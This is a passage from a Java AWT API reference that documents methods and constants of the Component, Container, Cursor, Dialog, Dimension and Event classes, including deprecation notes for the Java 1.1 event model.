public boolean inside (int x, int y) (Deprecated)

Parameters

x

Horizontal position.

y

Vertical position.

Returns

true if the point (x, y) falls within the component's bounds, false otherwise.

Description

Checks if coordinates are within bounding box of Component. Replaced by contains(int, int).

invalidate

public void invalidate()

Description

Sets the component's valid state to false.

isEnabled

public boolean isEnabled()

Returns

true if enabled, false otherwise.

Description

Checks to see if the Component is currently enabled.

isFocusTraversable

public boolean isFocusTraversable() (New)

Returns

true if this Component can be traversed using Tab and Shift-Tab, false otherwise.

Description

Checks to see if the Component is navigable using the keyboard.

isShowing

public boolean isShowing()

Returns

true if showing, false otherwise.

Description

Checks to see if the Component is currently showing.

isValid

public boolean isValid()

Returns

true if valid, false otherwise.

Description

Checks to see if the Component is currently valid.

isVisible

public boolean isVisible()

Returns

true if visible, false otherwise.

Description

Checks to see if the Component is currently visible.

keyDown

public boolean keyDown (Event e, int key) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

key

Integer representation of key pressed.

Returns

true if event handled, false to propagate it to parent container.

Description

Method called whenever the user presses a key. Replaced by processKeyEvent(KeyEvent).

keyUp

public boolean keyUp (Event e, int key) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

key

Integer representation of key released.

Returns

true if event handled, false to propagate it to parent container.

Description

Method called whenever the user releases a key. Replaced by processKeyEvent(KeyEvent).

layout

public void layout() (Deprecated)

Description

Lays out component. Replaced by doLayout().

list

public void list()

Description

Prints the contents of the Component to System.out.

public void list (PrintStream out)

Parameters

out

Output stream to send results to.

Description

Prints the contents of the Component to a PrintStream.

public void list (PrintStream out, int indentation)

Parameters

out

Output stream to send results to.

indentation

Indentation to use when printing.

Description

Prints the contents of the Component indented to a PrintStream.

public void list (PrintWriter out)

Parameters

out

Output stream to send results to.

Description

Prints the contents of the Component to a PrintWriter.

public void list (PrintWriter out, int indentation)

Parameters

out

Output stream to send results to.

indentation

Indentation to use when printing.

Description

Prints the contents of the Component indented to a PrintWriter.

locate

public Component locate (int x, int y) (Deprecated)

Parameters

x

Horizontal position.

y

Vertical position.

Returns

Component if the point (x, y) falls within the component, null otherwise.

Description

Replaced by getComponentAt(int, int).

location

public Point location() (Deprecated)

Returns

Position of component.

Description

Gets the current position of this Component in its parent's coordinate space. Replaced by getLocation().

lostFocus

public boolean lostFocus (Event e, Object o) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

o

Argument specific to the component subclass that generated the event.

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when Component loses input focus. Replaced by processFocusEvent(FocusEvent).

minimizeSize

public Dimension minimumSize() (Deprecated)

Returns

The minimum dimensions of the component. Replaced by getMinimumSize().

mouseDown

public boolean mouseDown (Event e, int x, int y) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

x

Horizontal position of the mouse within Component when Event initiated

y

Vertical position of the mouse within Component when Event initiated

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when the user presses a mouse button over Component. Replaced by processMouseEvent(MouseEvent).

mouseDrag

public boolean mouseDrag (Event e, int x, int y) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

x

Horizontal position of the mouse within Component when Event initiated

y

Vertical position of the mouse within Component when Event initiated

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when the user is pressing a mouse button and moves the mouse. Replaced by processMouseMotionEvent(MouseEvent).

mouseEnter

public boolean mouseEnter (Event e, int x, int y) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

x

Horizontal position of the mouse within Component when Event initiated

y

Vertical position of the mouse within Component when Event initiated

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when the mouse enters Component. Replaced by processMouseEvent(MouseEvent).

mouseExit

public boolean mouseExit (Event e, int x, int y) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

x

Horizontal position of the mouse within Component when Event initiated

y

Vertical position of the mouse within Component when Event initiated

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when the mouse exits Component. Replaced by processMouseEvent(MouseEvent).

mouseMove

public boolean mouseMove (Event e, int x, int y) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

x

Horizontal position of the mouse within Component when Event initiated

y

Vertical position of the mouse within Component when Event initiated

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when the user is not pressing a mouse button and moves the mouse. Replaced by processMouseMotionEvent(MouseEvent).

mouseUp

public boolean mouseUp (Event e, int x, int y) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

x

Horizontal position of the mouse within Component when Event initiated

y

Vertical position of the mouse within Component when Event initiated

Returns

true if event is handled, false to propagate it to the parent container.

Description

Method called when user releases mouse button over Component. Replaced by processMouseEvent(MouseEvent).

move

public void move (int x, int y) (Deprecated)

Parameters

x

New horizontal position for component.

y

New vertical position for component.

Description

Relocates component. Replaced by setLocation(int, int).

nextFocus

public void nextFocus() (Deprecated)

Description

Moves focus from current component to next one in parent container. Replaced by transferFocus().

paint

public void paint (Graphics g)

Parameters

g

Graphics context of component.

Description

Empty method to be overridden to draw something in the graphics context.

paintAll

public void paintAll (Graphics g)

Parameters

g

Graphics context of component.

Description

Method to validate component and paint its peer if it is visible.

postEvent

public boolean postEvent (Event e) (Deprecated)

Parameters

e

Event instance to post to component

Returns

If Event is handled, true is returned. Otherwise, false is returned.

Description

Tells Component to deal with Event.

preferredSize

public Dimension preferredSize() (Deprecated)

Returns

The preferred dimensions of the component. Replaced by getPreferredSize().

prepareImage

public boolean prepareImage (Image image, ImageObserver observer)

Parameters

image

Image to start loading.

observer

Component on which image will be rendered.

Returns

true if Image is fully loaded, false otherwise.

Description

Forces Image to start loading.

public boolean prepareImage (Image image, int width, int height, ImageObserver observer)

Parameters

image

Image to start loading.

width

Horizontal size of the Image after scaling.

height

Vertical size of the Image after scaling.

observer

Component on which image will be rendered.

Returns

true if Image is fully loaded, false otherwise.

Description

Forces Image to start loading.

print

public void print (Graphics g)

Parameters

g

Graphics context.

Description

Empty method to be overridden to print something into the graphics context.

printAll

public void printAll (Graphics g)

Parameters

g

Graphics context.

Description

Method to print this component and its children.

remove

public void remove (MenuComponent popup) (New)

Parameters

popup

The menu to remove.

Description

After adding a PopupMenu, you can use this method to remove it.

removeComponentListener

public void removeComponentListener (ComponentListener l) (New)

Description

Removes the specified ComponentListener from this Component.

removeFocusListener

public void removeFocusListener (FocusListener l) (New)

Description

Removes the specified FocusListener from this Component.

removeKeyListener

public void removeKeyListener (KeyListener l) (New)

Description

Removes the specified KeyListener from this Component.

removeMouseListener

public void removeMouseListener (MouseListener l) (New)

Description

Removes the specified MouseListener from this Component.

removeMouseMotionListener

public void removeMouseMotionListener (MouseMotionListener l) (New)

Description

Removes the specified MouseMotionListener from this Component.

removeNotify

public void removeNotify()

Description

Removes peer of Component's subclass.

repaint

public void repaint()

Description

Requests scheduler to redraw the component as soon as possible.

public void repaint (long tm)

Parameters

tm

Millisecond delay allowed before repaint.

Description

Requests scheduler to redraw the component within a time period.

public void repaint (int x, int y, int width, int height)

Parameters

x

Horizontal origin of bounding box to redraw.

y

Vertical origin of bounding box to redraw.

width

Width of bounding box to redraw.

height

Height of bounding box to redraw.

Description

Requests scheduler to redraw a portion of component as soon as possible.

public void repaint (long tm, int x, int y, int width, int height)

Parameters

tm

Millisecond delay allowed before repaint.

x

Horizontal origin of bounding box to redraw.

y

Vertical origin of bounding box to redraw.

width

Width of bounding box to redraw.

height

Height of bounding box to redraw.

Description

Requests scheduler to redraw a portion of component within a time period.

requestFocus

public void requestFocus()

Description

Requests the input focus for this Component.

reshape

public void reshape (int x, int y, int width, int height) (Deprecated)

Parameters

x

New horizontal position for component.

y

New vertical position for component.

width

New width for component.

height

New height for component.

Description

Relocates and resizes component. Replaced by setBounds(int, int, int, int).

resize

public void resize (Dimension d) (Deprecated)

Parameters

d

New dimensions for the component.

Description

Resizes component. Replaced by setSize(Dimension).

public void resize (int width, int height) (Deprecated)

Parameters

width

New width for component.

height

New height for component.

Description

Resizes component. Replaced by setSize(int, int).

setBackground

public void setBackground (Color c)

Parameters

c

New background color.

Description

Changes the component's background color.

setBounds

public void setBounds (int x, int y, int width, int height) (New)

Parameters

x

New horizontal position for component.

y

New vertical position for component.

width

New width for component.

height

New height for component.

Description

Relocates and resizes the component.

public void setBounds (Rectangle r) (New)

Parameters

r

New coordinates for component.

Description

Relocates and resizes component.

setCursor

public synchronized void setCursor (Cursor cursor) (New)

Parameters

cursor

The new cursor for the component.

Description

Changes the component's cursor.

setEnabled

public void setEnabled (boolean b) (New)

Parameters

b

true to enable the component, false to disable it.

Description

Enables or disables the component. Replaces enable(), enable(boolean), and disable().

setFont

public synchronized void setFont (Font f)

Parameters

f

Font to change component to.

Description

Changes the font of the component.

setForeground

public void setForeground (Color c)

Parameters

c

New foreground color.

Description

Changes the foreground color of component's area.

setLocale

public void setLocale (Locale l) (New)

Parameters

l

The locale object for the component.

Description

Sets the Component's locale.

setLocation

public void setLocation (int x, int y) (New)

Parameters

x

New horizontal position for component.

y

New vertical position for component.

Description

Relocates the component.

public void setLocation (Point p) (New)

Parameters

p

New position for component.

Description

Relocates the component.

setName

public void setName (String name) (New)

Parameters

name

New name for component.

Description

Sets the component's name.

setSize

public void setSize (int width, int height) (New)

Parameters

width

New width for component.

height

New height for component.

Description

Resizes the component.

public void setSize (Dimension d) (New)

Parameters

d

New dimensions for the component.

Description

Resizes the component.

setVisible

public void setVisible (boolean b) (New)

Parameters

b

true to show component, false to hide it.

Description

Shows or hides the component based on the b parameter.

show

public void show() (Deprecated)

Description

Replaced by setVisible(true).

public void show (boolean condition) (Deprecated)

Parameters

condition

true to show the component, false to hide it.

Description

Replaced by setVisible(boolean).

size

public Dimension size() (Deprecated)

Returns

Dimensions of the component.

Description

Gets width and height of the component. Replaced by getSize().

toString

public String toString()

Returns

A string representation of the Component object.

Overrides

Object.toString()

transferFocus

public void transferFocus() (New)

Description

Transfers focus to the next component in the container hierarchy.

update

public void update (Graphics g)

Parameters

g

Graphics context of component.

Description

Called to update the component's display area.

validate

public void validate()

Description

Sets the component's valid state to true.

Protected Instance Methods

disableEvents

protected final void disableEvents (long eventsToDisable) (New)

Parameters

eventsToDisable

A value representing certain kinds of events. This can be constructed by ORing the event mask constants defined in java.awt.AWTEvent.

Description

By default, a component receives events corresponding to the event listeners that have registered. If a component should not receive events of a certain type, even if there is a listener registered for that type of event, this method can be used to disable that event type.

enableEvents

protected final void enableEvents (long eventsToEnable) (New)

Parameters

eventsToEnable

A value representing certain kinds of events. This can be constructed by ORing the event mask constants defined in java.awt.AWTEvent.

Description

By default, a component receives events corresponding to the event listeners that have registered. If a component should receive other types of events as well, this method can be used to request them.

paramString

protected String paramString()

Returns

A String with the current settings of the Component.

Description

Helper method for toString() to generate a string of current settings.

processComponentEvent

protected void processComponentEvent(ComponentEvent e) (New)

Parameters

e

The event to process.

Description

Component events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent(AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low level AWTEvents are passed to this method for processing.

processFocusEvent

protected void processFocusEvent(FocusEvent e) (New)

Parameters

e

The event to process.

Description

Focus events are passed to this method for processing. Normally, this method is called by processEvent().

processKeyEvent

protected void processKeyEvent(KeyEvent e) (New)

Parameters

e

The event to process.

Description

Key events are passed to this method for processing. Normally, this method is called by processEvent().

processMouseEvent

protected void processMouseEvent(MouseEvent e) (New)

Parameters

e

The event to process.

Description

Mouse events are passed to this method for processing. Normally, this method is called by processEvent().

processMouseMotionEvent

protected void processMouseMotionEvent(MouseEvent e) (New)

Parameters

e

The event to process.

Description

Mouse motion events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

Button, Canvas, Checkbox, Choice, Color, ColorModel, ComponentPeer, Container, Dimension, Event, Font, FontMetrics, Graphics, ImageObserver, ImageProducer, Label, List, MenuContainer, Object, Point, PrintStream, Rectangle, Scrollbar, Serializable, String, TextComponent, Toolkit

Previous | Home | Next
Color | Book Index | Container
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Container

Previous Chapter 19
java.awt Reference 		Next

Container

Name

Container

[Graphic: Figure from the text]

Description

The Container class serves as a general purpose holder of other Component objects.

Class Definition

public abstract class java.awt.Container
    extends java.awt.Component {
  // Constructors
  protected Container();   (New)

  // Instance Methods
  public Component add (Component component);
  public Component add (Component component, int position);
  public void add (Component comp, Object constraints);   (New)
  public void add (Component comp, Object constraints,
      int position);   (New)
  public Component add (String name, Component component);   (Deprecated)
  public void addContainerListener (ContainerListener l);   (New)
  public void addNotify();
  public int countComponents();
  public void deliverEvent (Event e);   (New)
  public void doLayout();   (New)
  public float getAlignmentX();   (New)
  public float getAlignmentY();   (New)
  public Component getComponent (int n);
  public Component getComponentAt (int x, int y);    (New)
  public Component getComponentAt (Point p);    (New)
  public int getComponentCount();   (New)
  public Component[] getComponents();
  public Insets getInsets();   (New)
  public LayoutManager getLayout();
  public Dimension getMaximumSize();   (New)
  public Dimension getMinimumSize();    (New)
  public Dimension getPreferredSize();    (New)
  public Insets insets();
  public void invalidate();   (New)
  public boolean isAncestorOf (Component c);   (New)
  public void layout();   (Deprecated)
  public void list (PrintStream out, int indentation);
  public void list (PrintWriter out, int indentation);   (New)
  public Component locate (int x, int y);   (Deprecated)
  public Dimension minimumSize();   (Deprecated)
  public void paint (Graphics g);   (New)
  public void paintComponents (Graphics g);
  public Dimension preferredSize();   (Deprecated)
  public void print (Graphics g);   (New)
  public void printComponents (Graphics g);
  public void remove (int index);   (New)
  public void remove (Component component);
  public void removeAll();
  public void removeContainerListener (ContainerListener l);   (New)
  public void removeNotify();
  public void setLayout (LayoutManager manager);
  public void validate();
  // Protected Instance Methods
  protected void addImpl (Component comp, Object constraints,
      int index);   (New)
  protected String paramString();
  protected void processContainerEvent (ContainerEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
  protected void validateTree();   (New)
}

Constructors

Container

protected Container() (New)

Description

This constructor creates a "lightweight" container. This constructor allows Container to be subclassed using code written entirely in Java.

Instance Methods

add

public Component add (Component component)

Parameters

component

Component to add to container.

Returns

Component just added.

Throws

IllegalArgumentException if you add component to itself.

Description

Adds component as the last component in the container.

public Component add (Component component, int position)

Parameters

component

Component to add to container.

position

Position of component; -1 adds the component as the last in the container.

Returns

Component just added.

Throws

ArrayIndexOutOfBoundsException

If position invalid.

IllegalArgumentException

If you add Component to itself.

Description

Adds component to container at a certain position.

public void add (Component component, Object constraints) (New)

Parameters

component

Component to add to container.

constraints

An object describing constraints on the component being added.

Description

Adds component to container subject to contraints.

public void add (Component component, Object constraints, int index) (New)

Parameters

component

Component to add to container.

constraints

An object describing constraints on the component being added.

index

The position of the component in the container's list.

Description

Adds component to container subject to contraints at position index.

public Component add (String name, Component component) (Deprecated)

Parameters

name

Name of component being added. This parameter is often significant to the layout manager of the container (e.g "North", "Center").

component

Component to add to container.

Returns

Component just added.

Throws

IllegalArgumentException

If you add component to itself.

Description

Adds the component to the container with the given name. Replaced by the more general add(Component, Object).

addContainerListener

public void addContainerListener (ContainerListener l) (New)

Parameters

l

An object that implements the ContainerListener interface.

Description

Add a listener for the container events.

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Container's peer and peers of contained components.

countComponents

public int countComponents()

Returns

Number of components within Container.

deliverEvent

public void deliverEvent (Event e) (Deprecated)

Parameters

e

Event instance to deliver.

Overrides

Component.deliverEvent(Event)

Description

Tries to locate the component contained in the container that should receive the event.

doLayout

public void doLayout() (New)

Description

Lays out the container. This method is a replacement for layout().

getAlignmentX

public float getAlignmentX() (New)

Returns

A number between 0 and 1 representing the horizontal alignment of this component.

Overrides

Component.getAlignmentX()

Description

If the container's layout manager implements LayoutManager2, this method returns the getLayoutAlignmentX() value of the layout manager. Otherwise the getAlignmentX() value of Component is returned.

getAlignmentY

public float getAlignmentY() (New)

Returns

A number between 0 and 1 representing the vertical alignment of this component.

Overrides

Component.getAlignmentY()

Description

If the container's layout manager implements LayoutManager2, this method returns the getLayoutAlignmentY() value of the layout manager. Otherwise the getAlignmentY() value of Component is returned.

getComponent

public synchronized Component getComponent (int position)

Parameters

position

Position of component to get.

Throws

ArrayIndexOutOfBoundsException

If position is invalid.

Returns

Component at designated position within Container.

getComponentAt

public Component getComponentAt (int x, int y) (New)

Parameters

x

The x coordinate, in this Container's coordinate system.

y

The y coordinate, in this Container's coordinate system.

Returns

Returns the Component containing the give point.

public Component getComponentAt (Point p) (New)

Parameters

p

The point to be tested, in this Container's coordinate system.

Returns

Returns the Component containing the give point.

getComponentCount

public int getComponentCount() (New)

Returns

Returns the number of components in the container.

getComponents

public Component[] getComponents()

Returns

Array of components within the container.

getInsets

public Insets getInsets()

Returns

The insets of the container.

getLayout

public LayoutManager getLayout()

Returns

LayoutManager of Container.

getMaximumSize

public Dimension getMaximumSize() (New)

Overrides

Component.getMaximumSize()

Returns

The maximum dimensions of the component.

getMinimumSize

public Dimension getMinimumSize() (New)

Overrides

Component.getMinimumSize()

Returns

The minimum dimensions of the component.

getPreferredSize

public Dimension getPreferredSize() (New)

Returns

The preferred dimensions of the component.

insets

public Insets insets() (Deprecated)

Returns

Current Insets of Container. Replaced by getInsets().

invalidate

public void invalidate()

Overrides

Component.invalidate()

Description

Sets the container's valid state to false.

isAncestorOf

public boolean isAncestorOf (Component c) (New)

Parameters

c

The component in question.

Returns

If c is contained in the container's hierarchy, returns true; otherwise false.

layout

public void layout() (Deprecated)

Overrides

Component.layout()

Description

Replaced by doLayout().

list

public void list (PrintStream out, int indentation)

Parameters

out

Output Stream to send results to.

indentation

Indentation to use when printing.

Overrides

Component.list(PrintStream, int)

Description

Recursively lists all components in Container.

public void list (PrintWriter out, int indentation)

Parameters

out

Output Writer to send results to.

indentation

Indentation to use when printing.

Overrides

Component.list(PrintWriter, int)

Description

Recursively lists all components in Container.

locate

public Component locate (int x, int y) (Deprecated)

Parameters

x

Horizontal position to check.

y

Vertical position to check.

Returns

Component within Container at given coordinates, or Container.

Overrides

Component.locate(int, int)

Description

Replaced by getComponentAt(int, int).

minimizeSize

public Dimension minimumSize() (Deprecated)

Returns

Minimum dimensions of contained objects.

Overrides

Component.minimumSize()

Description

Replaced by getMinimumSize().

paint

public void paint (Graphics g)

Parameters

g

Graphics context of container.

Overrides

Component.paint()

Description

This method tells any lightweight components that are children of this container to paint themselves.

paintComponents

public void paintComponents (Graphics g)

Parameters

g

Graphics context of Container.

Description

Paints the different components in Container.

preferredSize

public Dimension preferredSize() (Deprecated)

Returns

Preferred dimensions of contained objects.

Overrides

Component.preferredSize()

Description

Replaced by getPreferredSize().

print

public void print (Graphics g)

Parameters

g

Graphics context of container.

Overrides

Component.print()

Description

This method tells any lightweight components that are children of this container to print themselves.

printComponents

public void printComponents (Graphics g)

Parameters

g

Graphics context of Container.

Description

Prints the different components in Container.

remove

public void remove (int index) (New)

Parameters

index

Index of the component to remove.

Description

Removes the component in position index from Container.

public void remove (Component component)

Parameters

component

Component to remove.

Description

Removes component from Container.

removeAll

public void removeAll()

Description

Removes all components from Container.

removeContainerListener

public void removeContainerListener (ContainerListener l) (New)

Parameters

l

One of this Container's ContainerListeners.

Description

Remove a container event listener.

removeNotify

public void removeNotify()

Overrides

Component.removeNotify()

Description

Removes Container's peer and peers of contained components.

setLayout

public void setLayout (LayoutManager manager)

Parameters

manager

New LayoutManager for Container.

Description

Changes LayoutManager of Container.

validate

public void validate()

Overrides

Component.validate()

Description

Sets Container's valid state to true and recursively validates its children.

Protected Instance Methods

addImpl

protected void addImpl (Component comp, Object constraints, int index) (New)

Parameters

comp

The component to add.

constraints

Constraints on the component.

index

Position at which to add this component. Pass -1 to add the component at the end.

Description

This method adds a component subject to the given constraints at a specific position in the container's list of components. It is a helper method for the various overrides of add().

paramString

protected String paramString()

Returns

String with current settings of Container.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processContainerEvent

protected void processContainerEvent (ContainerEvent e) (New)

Parameters

e

The event to process.

Description

Container events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Overrides

Component.processEvent()

Description

Low level AWTEvents are passed to this method for processing.

validateTree

protected void validateTree() (New)

Description

Descends recursively into the Container's components and recalculates layout for any subtrees that are marked invalid.

See Also

Component, Dimension, Event, Graphics, Insets, LayoutManager, Panel, PrintStream, String, Window

Previous | Home | Next
Component | Book Index | Cursor (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Cursor

Previous Chapter 19
java.awt Reference 		Next

Cursor (New)

Name

Cursor (New)

[Graphic: Figure from the text]

Description

The Cursor class represents the mouse pointer. It encapsulates information that used to be in java.awt.Frame in the 1.0.2 release.

Class Definition

public class java.awt.Cursor
    extends java.lang.Object
    implements java.io.Serializable {
  // Constants
  public final static int CROSSHAIR_CURSOR;
  public final static int DEFAULT_CURSOR;
  public final static int E_RESIZE_CURSOR;
  public final static int HAND_CURSOR;
  public final static int MOVE_CURSOR;
  public final static int N_RESIZE_CURSOR;
  public final static int NE_RESIZE_CURSOR;
  public final static int NW_RESIZE_CURSOR;
  public final static int S_RESIZE_CURSOR;
  public final static int SE_RESIZE_CURSOR;
  public final static int SW_RESIZE_CURSOR;
  public final static int TEXT_CURSOR;
  public final static int W_RESIZE_CURSOR;
  public final static int WAIT_CURSOR;
  // Class Variables
  protected static Cursor[] predefined;
  // Class Methods
  public static Cursor getDefaultCursor();
  public static Cursor getPredefinedCursor (int type);
  // Constructors
  public Cursor (int type);
  // Instance Methods
  public int getType();
}

Constants

CROSSHAIR_CURSOR

public final static int CROSSHAIR_CURSOR

Constant representing a cursor that looks like a crosshair.

DEFAULT_CURSOR

public final static int DEFAULT_CURSOR

Constant representing the platform's default cursor.

E_RESIZE_CURSOR

public final static int E_RESIZE_CURSOR

Constant representing the cursor for resizing an object on the left.

HAND_CURSOR

public final static int HAND_CURSOR

Constant representing a cursor that looks like a hand.

MOVE_CURSOR

public final static int MOVE_CURSOR

Constant representing a cursor used to move an object.

N_RESIZE_CURSOR

public final static int N_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the top.

NE_RESIZE_CURSOR

public final static int NE_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the top left corner.

NW_RESIZE_CURSOR

public final static int NW_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the top right corner.

S_RESIZE_CURSOR

public final static int S_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the bottom.

SE_RESIZE_CURSOR

public final static int SE_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the bottom left corner.

SW_RESIZE_CURSOR

public final static int SW_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the bottom right corner.

TEXT_CURSOR

public final static int TEXT_CURSOR

Constant representing a cursor used within text.

W_RESIZE_CURSOR

public final static int W_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the right side.

WAIT_CURSOR

public final static int WAIT_CURSOR

Constant representing a cursor that indicates the program is busy.

Class Variables

predefined

protected static Cursor[] predefined

An array of cursor instances corresponding to the predefined cursor types.

Class Methods

getDefaultCursor

public static Cursor getDefaultCursor()

Returns

The default system cursor.

getPredefinedCursor

public static Cursor getPredefinedCursor (int type)

Parameters

type

One of the type constants defined in this class.

Returns

A Cursor object with the specified type.

Constructors

Cursor

public Cursor (int type)

Parameters

type

One of the type constants defined in this class.

Description

Constructs a Cursor object with the specified type.

Instance Methods

getType

public int getType()

Returns

The type of cursor.

See Also

Frame

Previous | Home | Next
Container | Book Index | Dialog
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Dialog

Previous Chapter 19
java.awt Reference 		Next

Dialog

Name

Dialog

[Graphic: Figure from the text]

Description

The Dialog class provides a special type of display window that is used for pop-up messages and acquiring input from the user. Unlike most other components, dialogs are hidden by default; you must call show() to display them. Dialogs are always associated with a parent Frame. A Dialog may be either modal or non-modal; a modal dialog attracts all input typed by the user. The default layout for a Dialog is BorderLayout.

Class Definition

public class java.awt.Dialog
    extends java.awt.Window {

  // Constructors
  public Dialog (Frame parent);   (New)
  public Dialog (Frame parent, boolean modal);
  public Dialog (Frame parent, String title);   (New)
  public Dialog (Frame parent, String title, boolean modal);

  // Instance Methods
  public void addNotify();
  public String getTitle();
  public boolean isModal();
  public boolean isResizable();
  public void setModal (boolean b);   (New)
  public synchronized void setResizable (boolean resizable);
  public synchronized void setTitle (String title);
  public void show();    (New)

  // Protected Instance Methods
  protected String paramString();
}

Constructors

Dialog

public Dialog (Frame parent) (New)

Parameters

parent

Frame that is to act as the parent of Dialog.

Throws

IllegalArgumentException

If parent is null.

Description

Constructs a Dialog object.

public Dialog (Frame parent, boolean modal)

Parameters

parent

Frame that is to act as the parent of Dialog.

modal

true if the Dialog is modal; false otherwise.

Throws

IllegalArgumentException

If parent is null.

Description

Replaced with Dialog(Frame, String, boolean).

public Dialog (Frame parent, String title) (New)

Parameters

parent

Frame that is to act as parent of Dialog.

title

Initial title to use for Dialog.

Throws

IllegalArgumentException

If parent is null.

Description

Constructs a Dialog object with given characteristics.

public Dialog (Frame parent, String title, boolean modal)

Parameters

parent

Frame that is to act as parent of Dialog.

title

Initial title to use for Dialog.

modal

true if the Dialog is modal; false otherwise.

Throws

IllegalArgumentException

If parent is null.

Description

Constructs a Dialog object with given characteristics.

Instance Methods

addNotify

public void addNotify()

Overrides

Window.addNotify()

Description

Creates Dialog's peer and peers of contained components.

getTitle

public String getTitle()

Returns

The current title for the Dialog.

isModal

public boolean isModal()

Returns

true if modal, false otherwise.

isResizable

public boolean isResizable()

Returns

true if resizable, false otherwise.

setModal

public void setModal (boolean b) (New)

Parameters

b

true makes the Dialog modal; false if the Dialog should be modeless.

Description

Changes the modal state of the Dialog.

setResizable

public synchronized void setResizable (boolean resizable)

Parameters

resizable

true makes the Dialog resizable; false if the Dialog cannot be resized.

Description

Changes the resize state of the Dialog.

setTitle

public synchronized void setTitle (String title)

Parameters

title

New title for the Dialog.

Description

Changes the title of the Dialog.

show

public void show() (New)

Overrides

Window.show()

Description

If the dialog is hidden, this method shows it. If the dialog is already visible, this method brings it to the front.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Dialog.

Overrides

Container.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

FileDialog, Frame, String, Window, WindowEvent, WindowListener

Previous | Home | Next
Cursor (New) | Book Index | Dimension
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Dimension

Previous Chapter 19
java.awt Reference 		Next

Dimension

Name

Dimension

[Graphic: Figure from the text]

Description

The Dimension class encapsulates width and height in a single object.

Class Definition

public class java.awt.Dimension
    extends java.lang.Object
    implements java.io.Serializable {

  // Variables
  public int height;
  public int width;

  // Constructors
  public Dimension();
  public Dimension (int width, int height);
  public Dimension (Dimension d);

  // Instance Methods
  public boolean equals (Object obj);   (New)
  public Dimension getSize();   (New)
  public void setSize (Dimension d);   (New)
  public void setSize (int width, int height);   (New)
  public String toString();
}

Variables

height

public int height

The height of the Dimension.

width

public int width

The width of the Dimension.

Constructors

Dimension

public Dimension()

Description

Constructs an empty Dimension object.

public Dimension (int width, int height)

Parameters

width

Initial width of the object

height

Initial height of the object

Description

Constructs a Dimension object with an initial dimension of width x height.

public Dimension (Dimension d)

Parameters

d

Initial dimensions of the object

Description

Constructs a Dimension object that is a clone of d.

Instance Methods

equals

public boolean equals (Object obj) (New)

Parameters

obj

The object to compare.

Returns

true if this Dimension is equivalent to obj; false otherwise.

Overrides

Object.equals(Object)

Description

Compares two Dimension instances.

getSize

public Dimension getSize() (New)

Returns

The size of the Dimension.

setSize

public void setSize (Dimension d) (New)

Parameters

d

The new size.

Description

Changes the size of the Dimension.

public void setSize (int width, int height) (New)

Parameters

width

The new width.

height

The new height.

Description

Changes the size of the Dimension.

toString

public String toString()

Returns

A string representation of the Dimension object.

Overrides

Object.toString()

See Also

Object, String, Serializable

Previous | Home | Next
Dialog | Book Index | Event
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Event

Previous Chapter 19
java.awt Reference 		Next

Event

Name

Event

[Graphic: Figure from the text]

Description

The Event class represents events that happen within the Java environment in a platform independent way. Events typically represent user actions, like typing a key or clicking the mouse. Although this class has been updated for the 1.1 release, it is only used for the 1.0 event model. When using the 1.1 event model, all events are represented by subclasses of java.awt.AWTEvent.

Class Definition

public class java.awt.Event
    extends java.lang.Object
    implements java.io.Serializable {

  // Constants
  public static final int ACTION_EVENT;
  public static final int ALT_MASK;
  public static final int BACK_SPACE;   (New)
  public static final int CAPS_LOCK;   (New)
  public static final int CTRL_MASK;
  public static final int DELETE;   (New)
  public static final int DOWN;
  public static final int END;
  public static final int ENTER;   (New)
  public static final int ESCAPE;   (New)
  public static final int F1;
  public static final int F2;
  public static final int F3;
  public static final int F4;
  public static final int F5;
  public static final int F6;
  public static final int F7;
  public static final int F8;
  public static final int F9;
  public static final int F10;
  public static final int F11;
  public static final int F12;
  public static final int GOT_FOCUS;
  public static final int HOME;
  public static final int INSERT;   (New)
  public static final int KEY_ACTION;
  public static final int KEY_ACTION_RELEASE;
  public static final int KEY_PRESS;
  public static final int KEY_RELEASE;
  public static final int LEFT;
  public static final int LIST_DESELECT;
  public static final int LIST_SELECT;
  public static final int LOAD_FILE;
  public static final int LOST_FOCUS;
  public static final int META_MASK;
  public static final int MOUSE_DOWN;
  public static final int MOUSE_DRAG;
  public static final int MOUSE_ENTER;
  public static final int MOUSE_EXIT;
  public static final int MOUSE_MOVE;
  public static final int MOUSE_UP;
  public static final int NUM_LOCK;   (New)
  public static final int PAUSE;   (New)
  public static final int PGDN;
  public static final int PGUP;
